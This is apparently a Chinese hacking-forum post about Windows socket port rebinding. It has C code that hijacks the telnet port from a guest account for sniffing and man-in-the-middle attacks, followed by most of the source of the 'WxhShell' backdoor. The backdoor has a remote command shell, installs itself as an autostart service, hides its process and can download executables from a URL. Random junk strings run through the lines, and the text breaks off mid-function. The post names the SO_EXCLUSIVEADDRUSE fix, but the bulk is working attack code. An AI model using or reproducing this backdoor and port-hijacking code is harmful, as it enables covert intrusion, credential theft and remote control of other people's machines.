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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'D/AL\1{p(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mCE})S  
7q^/.:wlf  
  saddr.sin_family = AF_INET; kyjH~mK4  
; Q 6:#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5o3_x ~e  
d#d~t[=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B_&PK7vA  
-of= Lp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b>7ts_b  
V")Q4h{  
  这意味着什么?意味着可以进行如下的攻击: <=-\so(  
nB]Q^~jX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0K2[E^.WN  
YHA[PF   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }dHiW:J>  
yJL"uleRT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h0eo:Ahi  
h|H;ZC(B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d J!o/y6  
UQR"wUiiV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j<KC$[Kt  
{ &'TA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KwHOV$lD;  
A;!FtD/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^pjez+  
[GP( r  
  #include C|I 1 m  
  #include #~+#72+x7  
  #include asi1c y\  
  #include    J:u|8>;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uJ`&hX  
  int main() S8=4C`>jf  
  { k:TfE6JZ  
  WORD wVersionRequested; SRTpE,  
  DWORD ret; #{M -3  
  WSADATA wsaData; }$)<k  
  BOOL val; *Vl =PNn-  
  SOCKADDR_IN saddr; j vV8`BQ{  
  SOCKADDR_IN scaddr; vO_quQ[.  
  int err; c7F&~RLC  
  SOCKET s; e%U*~{m+  
  SOCKET sc; .vv*bx   
  int caddsize; 8j'*IRj*q  
  HANDLE mt; fh_ .J[Y.k  
  DWORD tid;   kOCxIJ!Xp=  
  wVersionRequested = MAKEWORD( 2, 2 ); %5G BMMn  
  err = WSAStartup( wVersionRequested, &wsaData ); MuobMD}jqe  
  if ( err != 0 ) { YfPo"uxx  
  printf("error!WSAStartup failed!\n"); ymZ/(:3_  
  return -1; tTGK25&  
  } SR& mHI-f0  
  saddr.sin_family = AF_INET; D-GU"^-9  
   `z_7[$\~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;J(,F:N  
rk/ c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  +Rgw+o  
  saddr.sin_port = htons(23); n\-_i2yy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U 0RfovJ  
  { 3\n{,Q  
  printf("error!socket failed!\n"); 2<G1'7)  
  return -1; o0G`Xn  
  } Jyci}CU3\Q  
  val = TRUE; K$cIVsfr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aT!9W'uY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pPqN[OJ  
  { Ue#yDTjc  
  printf("error!setsockopt failed!\n"); J,G9m4Z7  
  return -1; X8 )>}#:  
  } I'9s=~VfY,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0?us]lx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G'2=jHzMF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (kQ.tsl  
0BB @E(*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $xtE+EV.p  
  { lF8 dRIav  
  ret=GetLastError(); C cr+SR2  
  printf("error!bind failed!\n"); s#4ew}  
  return -1; :"P hkR  
  } ]KK ZbEO  
  listen(s,2); };m7FO  
  while(1) !""!sFx)R  
  { Z ;y}gv/ {  
  caddsize = sizeof(scaddr); As'M3 9*V  
  //接受连接请求 3{4/7D cX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Sq|1f?_gU  
  if(sc!=INVALID_SOCKET) I0HY#z%  
  { *_<*bhR<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gn W~KLqH  
  if(mt==NULL) r.wIk0  
  { q 9brpbg_  
  printf("Thread Creat Failed!\n"); mu6xL QdA  
  break; 2Z`$  
  } U aj`  
  } Ac!&j=ZE  
  CloseHandle(mt); + %#MrNM'  
  } l?JO8^Nn  
  closesocket(s); jqGo-C~  
  WSACleanup(); 0"^oTmQN  
  return 0; aT1CpY=T|.  
  }   {#*?S>DA  
  DWORD WINAPI ClientThread(LPVOID lpParam) 380->  
  { '^ e/F)0  
  SOCKET ss = (SOCKET)lpParam; sL7`=a.&T  
  SOCKET sc; B~!G lT  
  unsigned char buf[4096]; ]tQDk4&i  
  SOCKADDR_IN saddr;  6I cM:x  
  long num; V1`5D7Z  
  DWORD val; # HM\ a  
  DWORD ret; c_G-R+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jh&~/ntmm_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7 xp1\j0  
  saddr.sin_family = AF_INET; )YnI !v2T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @x=BJuUuX  
  saddr.sin_port = htons(23); loC5o|Wh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7c29Ua~[  
  { _.OMjUBZT  
  printf("error!socket failed!\n"); f1Yv hvWL  
  return -1; 1V**QSZ1  
  } XW~ BEa  
  val = 100; tT* W5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g2aT`=&Z  
  { n.a=K2H:V  
  ret = GetLastError(); W\>^[c/  
  return -1; }r~v,KDb  
  } \ L9?69B~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #U$YZ#B  
  { X&9^&U=e  
  ret = GetLastError(); w(V? N'[  
  return -1; Ql q#Zdru  
  } 2%5^Fi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?79SPp)oo  
  { !qTpQ5Dm  
  printf("error!socket connect failed!\n"); oBRm\8 2|  
  closesocket(sc); 8tV=fSHd  
  closesocket(ss); v#:+n+y\z  
  return -1; w%8ooQ|C  
  } ycrh5*g  
  while(1) )'j_D<  
  { )l!J$X+R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @jE d%W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 } T/}0W]0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =M1a0i|d  
  num = recv(ss,buf,4096,0); zj9bSDVL(  
  if(num>0) 7cUR.PI#Q  
  send(sc,buf,num,0); V4`:Vci Aw  
  else if(num==0) Ms:KM{T0  
  break; 5w,lw  
  num = recv(sc,buf,4096,0); #JL&]Z+X6  
  if(num>0) _'!N q  
  send(ss,buf,num,0); -YzQ2#K  
  else if(num==0) l$k]O  
  break; vLv|SqD  
  } IW1GhZ41'  
  closesocket(ss); 1A%N0#_(Md  
  closesocket(sc); 79{.O`v  
  return 0 ; MPKpS3VS  
  } j}rgO z.  
XlPK3^'N)h  
N+\oFbE  
========================================================== `7QvwXsH]  
u8-a-k5<  
下边附上一个代码,,WXhSHELL MtpU~c  
MiSja#"+A  
========================================================== "ibK1}-  
lL:KaQ0E  
#include "stdafx.h" 6\,DnO   
6[+\CS7Lt  
#include <stdio.h> zB#_:(1qK  
#include <string.h> LyuSZa]  
#include <windows.h> >W`S(a Mn  
#include <winsock2.h> 6CcB-@n4  
#include <winsvc.h> WZ^{zFoZ  
#include <urlmon.h> Y|%anTP  
mP9cBLz  
#pragma comment (lib, "Ws2_32.lib") q Z8|B  
#pragma comment (lib, "urlmon.lib") d98))G~W  
r/mA2  
#define MAX_USER   100 // 最大客户端连接数 b$d J?%W  
#define BUF_SOCK   200 // sock buffer 5nMkd/  
#define KEY_BUFF   255 // 输入 buffer |MTpU@`p5  
ruZYehu1W  
#define REBOOT     0   // 重启 =7 Jy  
#define SHUTDOWN   1   // 关机 pT("2:)x  
+"k.E x0:  
#define DEF_PORT   5000 // 监听端口 v2/yw,  
]$m#1Kj  
#define REG_LEN     16   // 注册表键长度 " Sc5qG  
#define SVC_LEN     80   // NT服务名长度 m0=cMVCA!  
rQ`\JE&`  
// 从dll定义API 2wB.S_4"-<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mam8\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E:08%4O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ad"'O]  
vC)"*wYB{  
// wxhshell配置信息 X}zX`]:I'  
struct WSCFG { Pv< QjY  
  int ws_port;         // 监听端口 ;Ay >+M2O  
  char ws_passstr[REG_LEN]; // 口令 ~ A^E  
  int ws_autoins;       // 安装标记, 1=yes 0=no 69t7=r  
  char ws_regname[REG_LEN]; // 注册表键名 F;IP3tD  
  char ws_svcname[REG_LEN]; // 服务名 mSU@UD|'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >%9^%p^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J?._/RL8-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lbQ6 a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AI&qU/}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1i4WWK7k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yJDeX1+,  
/3Jz3  
}; f'1(y\_fb  
c*N50%=4  
// default Wxhshell configuration {I4%   
struct WSCFG wscfg={DEF_PORT, @)o0GHNP  
    "xuhuanlingzhe", xLA~1ZSVJw  
    1, nYOY"'z  
    "Wxhshell", )HEfU31IC  
    "Wxhshell", MVeF e\r  
            "WxhShell Service", Ee{`Y0  
    "Wrsky Windows CmdShell Service", PXV)NC  
    "Please Input Your Password: ", ETM2p1 ru0  
  1, 8$\Za,)g  
  "http://www.wrsky.com/wxhshell.exe", 6tOCZ'f  
  "Wxhshell.exe" Dq?E\  
    }; inYM+o!Ub  
J5O.*&  
// 消息定义模块 ID)^vwn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gh TcB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8jRs =I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /r276Q  
char *msg_ws_ext="\n\rExit."; XAkK:}h  
char *msg_ws_end="\n\rQuit."; wAw42{M  
char *msg_ws_boot="\n\rReboot..."; VLiIO"u;  
char *msg_ws_poff="\n\rShutdown...";  BY3bpR  
char *msg_ws_down="\n\rSave to "; {1jpLdCbV^  
vwVVBG;t  
char *msg_ws_err="\n\rErr!"; yB.G=90  
char *msg_ws_ok="\n\rOK!"; IrJ+Jov  
gdl| ^*tc  
char ExeFile[MAX_PATH]; >L8?=>>?\  
int nUser = 0; os[ZIHph  
HANDLE handles[MAX_USER]; L~IE,4  
int OsIsNt; H#+\nT2m  
(4~X}:  
SERVICE_STATUS       serviceStatus; ^ pj>9%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ba8 6 N  
,I ZqLA  
// 函数声明 .hKhrcQp  
int Install(void); a.?v*U@z@#  
int Uninstall(void); ~F;CE"3A  
int DownloadFile(char *sURL, SOCKET wsh); ?KCivf  
int Boot(int flag); =ai2z2z  
void HideProc(void); N&"QKd l  
int GetOsVer(void); "# 2pT H~  
int Wxhshell(SOCKET wsl); @}(SR\~N]  
void TalkWithClient(void *cs); _lXt8}:+  
int CmdShell(SOCKET sock); {=3B)+N  
int StartFromService(void); dXl]Pe|v  
int StartWxhshell(LPSTR lpCmdLine); |k6Ox*  
Axlm<3<wf"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IK'F{QPH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b vRB  
gY!N3 *:  
// 数据结构和表定义 L=RGL+f1 _  
SERVICE_TABLE_ENTRY DispatchTable[] = f3G1r5x  
{ %%&e"&7HE  
{wscfg.ws_svcname, NTServiceMain}, z$|;-u|  
{NULL, NULL} B52yaG8C  
}; sm   
)|pU.K9qZ  
// 自我安装 JdiP>KXV  
int Install(void) Yrxk Kw#  
{ LKx`v90p  
  char svExeFile[MAX_PATH]; G=|70pxU  
  HKEY key; Nt~x&s  
  strcpy(svExeFile,ExeFile); mZ7B<F[qV  
r2nBWA3  
// 如果是win9x系统,修改注册表设为自启动 }#6xFTH  
if(!OsIsNt) { Q4?EZ_O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9OyNi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q.A \U>AgV  
  RegCloseKey(key); 0 _A23.Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hU" F;4p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o\4CoeG  
  RegCloseKey(key); BxdX WO  
  return 0; ?ok)>P  
    } eLV.qLBUs  
  } #dxvz^2V.3  
} s]Gd-j  
else { .*Vkua  
B`{mdjMy  
// 如果是NT以上系统,安装为系统服务 DtI$9`~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `*aBRwvK~  
if (schSCManager!=0) Lc]1$  
{ 2JZdw  
  SC_HANDLE schService = CreateService u]M\3V.  
  ( 99u/fkL  
  schSCManager, .x-J44i@/  
  wscfg.ws_svcname, $mpO?D J~  
  wscfg.ws_svcdisp, ^I`a;  
  SERVICE_ALL_ACCESS, Blk}I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'Jydu   
  SERVICE_AUTO_START, xQU"A2{}>  
  SERVICE_ERROR_NORMAL, 3z3_7XI  
  svExeFile, .'j29 6[u  
  NULL,  $:EG%jl  
  NULL, Uw)=WImz[  
  NULL, ? %(spV  
  NULL, }G'XkoI&  
  NULL ubbnFE&PD  
  ); G;s"h%Xw98  
  if (schService!=0) NiA4JgM]v  
  { :, _!pe;H  
  CloseServiceHandle(schService); TQc@lR!  
  CloseServiceHandle(schSCManager); xS8,W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M'2r@NR8  
  strcat(svExeFile,wscfg.ws_svcname); g)R1ObpZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o=_c2m   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RlRs}yF  
  RegCloseKey(key); 3vW4<:Lgy  
  return 0; "3}<8 c  
    } fF;h V  
  } >zngJ$  
  CloseServiceHandle(schSCManager); c}-(.eu  
} P!e=b-T  
} hw=GR_,  
89H sPB1"t  
return 1; dv!r.  
} ER^QV(IvP8  
>o/95xk2  
// 自我卸载 n]yEdL/1  
int Uninstall(void) ashar&'  
{ x[i`S8D  
  HKEY key; ;:]\KJm}?  
?S tsH  
if(!OsIsNt) { =a$Oecg?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |PP.<ce\-  
  RegDeleteValue(key,wscfg.ws_regname); =&vFVIhWcf  
  RegCloseKey(key); Ck'aHe22'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !SxG(*u  
  RegDeleteValue(key,wscfg.ws_regname); & mt)d  
  RegCloseKey(key); vt1lR5  
  return 0; ;ME)Og  
  } ~OypE4./1  
} .=c<>/ 0  
} *Y6xvib9*  
else { I7(?;MpI  
Vrkf(E3_V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); , ZFE(  
if (schSCManager!=0) ke%pZ 7{u  
{ 8P2 J2IU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Riry_   
  if (schService!=0) O!&,5Dy  
  { F9flSeN  
  if(DeleteService(schService)!=0) { L0NA*C   
  CloseServiceHandle(schService); fU+Pn@'  
  CloseServiceHandle(schSCManager); ,6,]#R :J  
  return 0; m3.sVI0I  
  } (sTuG}  
  CloseServiceHandle(schService); t ls60h  
  } Vf $Dnu@}z  
  CloseServiceHandle(schSCManager); {whvTN1#dh  
} ,}SCa'PB  
} ,[!LCXp  
DjLL|jF  
return 1;  L,LNv  
} d~9!,6XM  
0 n vSvk  
// 从指定url下载文件 1G^#q,%X_v  
int DownloadFile(char *sURL, SOCKET wsh) GJA`l8`SQ  
{ cg{AMeW  
  HRESULT hr; w_wslN,)  
char seps[]= "/"; iG<Som  
char *token; v)X\GmW7w  
char *file; W+=o&V  
char myURL[MAX_PATH]; *d*,Hqn  
char myFILE[MAX_PATH]; hdma=KqZ(  
]$b2a&r9  
strcpy(myURL,sURL); *rh,"Zo  
  token=strtok(myURL,seps); s:>\/[*>0c  
  while(token!=NULL) L.'}e{ldW  
  { Jkt4@h2Q}  
    file=token; 6iA( o*'Yn  
  token=strtok(NULL,seps); "Cz<d w]D  
  } kG0Yh2;#  
c&nh>oN  
GetCurrentDirectory(MAX_PATH,myFILE); d+fSo SjX8  
strcat(myFILE, "\\"); PnYBy| yl  
strcat(myFILE, file); H17-/|-;0!  
  send(wsh,myFILE,strlen(myFILE),0); .qv'6G  
send(wsh,"...",3,0); +&=?BC}L9^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m#7*:i&@Y  
  if(hr==S_OK) }6u2*(TmD  
return 0; 8|^CK|m6*  
else (eWPis[  
return 1; 23]Y<->Eu<  
OF U/gaO~  
} {KL5GowH  
60>.ul2  
// 系统电源模块 Vu8,(A7D%O  
int Boot(int flag) !wz/c M;  
{ s>n(`?@L  
  HANDLE hToken; T^.Cc--c  
  TOKEN_PRIVILEGES tkp; jeUUa-zR3  
Wr?'$:  
  if(OsIsNt) { 7:E!b=o#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E%N2k|%8d_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zZ-\a[F  
    tkp.PrivilegeCount = 1; r(A.<`\   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eD?3"!c!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4,p;Km&  
if(flag==REBOOT) { V ~{fB~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {R6HG{"IS6  
  return 0; jNDx,7F-  
} zCaT tb|@  
else { XzIx:J6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w?Ju5 5  
  return 0; R9+jW'[K  
} V9NTs8LKc  
  } @~td`Z?1 y  
  else { *Mc7f?H  
if(flag==REBOOT) { w8Sv*K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \*t~==WB  
  return 0; Y"g.IK`V  
} ,F6=b/eZ  
else { Fg]?zEa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sBX-X$*N  
  return 0; ^Q<mV*~  
} Wi. 5Y{  
} )RgGcHT@  
tz NlJ~E  
return 1; 5&Ts7& .  
} =@x`?oev  
w4,Ag{t>  
// win9x进程隐藏模块 o`S ?  
void HideProc(void) OWq'[T4  
{ \c,pEXG  
5*%#o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "UFs~S|e  
  if ( hKernel != NULL ) 0pb '\lA  
  { m7c*)"^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y$K!7Kq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cizvw'XDV  
    FreeLibrary(hKernel); igL<g  
  } E>LkJSy=  
5Z/7kU= I  
return; >4` dy  
} w'4AJ Q|;  
:nN1e  
// 获取操作系统版本 W*DVi_\$y  
int GetOsVer(void) C BYX]  
{ PQmq5N6  
  OSVERSIONINFO winfo; $lA V6I.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rf:XRJ <4  
  GetVersionEx(&winfo); VXBY8;+Yp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pO  Iq%0]  
  return 1; {@Yb%{+  
  else 8LkP)]4^sO  
  return 0; IA zZ1#/3  
} +gd2|`#  
^>x|z.  
// 客户端句柄模块 qVqRf.-\  
int Wxhshell(SOCKET wsl) L WoG4s?w  
{ %.v{N6  
  SOCKET wsh; DhLqhME53  
  struct sockaddr_in client; sAn0bX  
  DWORD myID; w>fdQ!RdP  
.{KjEg 6  
  while(nUser<MAX_USER) `?g`bN`Vn  
{ bu7'oB~:V^  
  int nSize=sizeof(client); 2aZw[7s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %_-zWVJ  
  if(wsh==INVALID_SOCKET) return 1; 9h90huyKF  
#m{{a]zm^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8M*PML4r  
if(handles[nUser]==0) W1Lr_z6  
  closesocket(wsh); +6$g! S5{  
else 8(g:HR*;  
  nUser++; b+-f.!j  
  } XKA&XpF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5vAf7\*  
@oF$LMD  
  return 0; ]r! >{  
} i@5[FC  
HW4 .zw  
// 关闭 socket >Iewx Gb>  
void CloseIt(SOCKET wsh) ,Y?sfp  
{ _-!sBK+F  
closesocket(wsh); %D$,;{ew  
nUser--; V-I(WzR9y  
ExitThread(0); XfE?C:v   
} 1be %G [*  
1axQ)},o@p  
// 客户端请求句柄 Ab%;Z5$fr  
void TalkWithClient(void *cs) 5AS[\CB4  
{ 9j ]sD/L5q  
HmfG$Z  
  SOCKET wsh=(SOCKET)cs; X:a`B(@S  
  char pwd[SVC_LEN]; N..j{FE  
  char cmd[KEY_BUFF]; /yz=Cjoz  
char chr[1]; UtB6V)YI  
int i,j; =(a1+. O  
aV o;~h~  
  while (nUser < MAX_USER) { *%w6 9#D  
Ut-B^x)gl  
if(wscfg.ws_passstr) { {qW~"z*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P&d"V<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2$_9cF Wm  
  //ZeroMemory(pwd,KEY_BUFF); E5el?=,i  
      i=0; \~d";~Y`  
  while(i<SVC_LEN) { V@7KsB  
K3uG2g(>2  
  // 设置超时 =~Ynz7 /x  
  fd_set FdRead; jV#ahNq;  
  struct timeval TimeOut; 8zLY6@  
  FD_ZERO(&FdRead); !Fw?H3X!"q  
  FD_SET(wsh,&FdRead); `b8v1Os^2  
  TimeOut.tv_sec=8; +')f6P;t>=  
  TimeOut.tv_usec=0; =cN&A_L(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y={&5Mir  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RjF'x  
QIN."&qC^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ri`R<l8  
  pwd=chr[0]; _LAS~x7,  
  if(chr[0]==0xd || chr[0]==0xa) { HkV1sT  
  pwd=0; IX: 25CEI2  
  break; 2)#K+O3c  
  } 8Y0"Cejq  
  i++; PiV7*F4qI.  
    } n9pN6,o+  
1Gt/Tq$_b  
  // 如果是非法用户,关闭 socket <PPNhf8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I/VxZ8T  
} D'Z|}(d&  
l no vykR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JG C=(;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *`j-i  
_A<u#.yd  
while(1) { }?cGf- c  
tt%MoQ)   
  ZeroMemory(cmd,KEY_BUFF); A*. /,KT  
_, ;j7%j  
      // 自动支持客户端 telnet标准   dC=)^(  
  j=0; uj%skOD6Z  
  while(j<KEY_BUFF) { j-CnT)W<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ngr/QL]Q  
  cmd[j]=chr[0]; VIP7OHJh  
  if(chr[0]==0xa || chr[0]==0xd) { M :3u@06a  
  cmd[j]=0; B!gGK|8  
  break; $F.([?)k?  
  } ELh8ltLY  
  j++; -",=G\XZ  
    } y%sroI('y  
{k4CEt;  
  // 下载文件 UA[,2MBp  
  if(strstr(cmd,"http://")) { Cv$ SJc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9Rm/V5  
  if(DownloadFile(cmd,wsh)) f<+ 4rHT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bX.ja;;   
  else @i^~0A#q*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p^(&qk?ut  
  } Hk>79};  
  else { 2=?tJ2E  
^:9$@ +a  
    switch(cmd[0]) { 0Io'bF  
  .nYUL>  
  // 帮助 #jAqra._b  
  case '?': { UgWs{y2SE.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h25G/`  
    break; IHgeQ F ~  
  } *lef=:&,,  
  // 安装 \%sVHt`c  
  case 'i': { |F.)zC5{  
    if(Install()) _k^0m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q]rD}Ckv-  
    else b 1&i#I?{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K^_i%~  
    break; 9]t[J_YM  
    } 1!pa;$L  
  // 卸载 "NRDNqj(  
  case 'r': { !6Sd(2  
    if(Uninstall()) JFgoN,xn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bl9jkq ]  
    else tBTTCwNT%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2_Wg!bq  
    break; 64-#}3zL  
    } @/r^%G  
  // 显示 wxhshell 所在路径 _"4xKh)  
  case 'p': { GE>[*zN  
    char svExeFile[MAX_PATH]; q1E:l!2al  
    strcpy(svExeFile,"\n\r"); 1 T130L  
      strcat(svExeFile,ExeFile); 0Z|FZGRP  
        send(wsh,svExeFile,strlen(svExeFile),0); pZ#ap<|>I  
    break; v/*Y#(X  
    } A:<;M@q !  
  // 重启 X=8Y&#%  
  case 'b': { [m+iQVk'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @aQ1khEd  
    if(Boot(REBOOT)) y~IuPc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kE TT4U  
    else { n.hv!W0  
    closesocket(wsh); M MzGd:0b  
    ExitThread(0); H3{GmV8  
    } l!#m&'16"  
    break; ]|_\xO(  
    } < j$#9QQ1  
  // 关机 "RVcA",  
  case 'd': { X7L8h'(@  
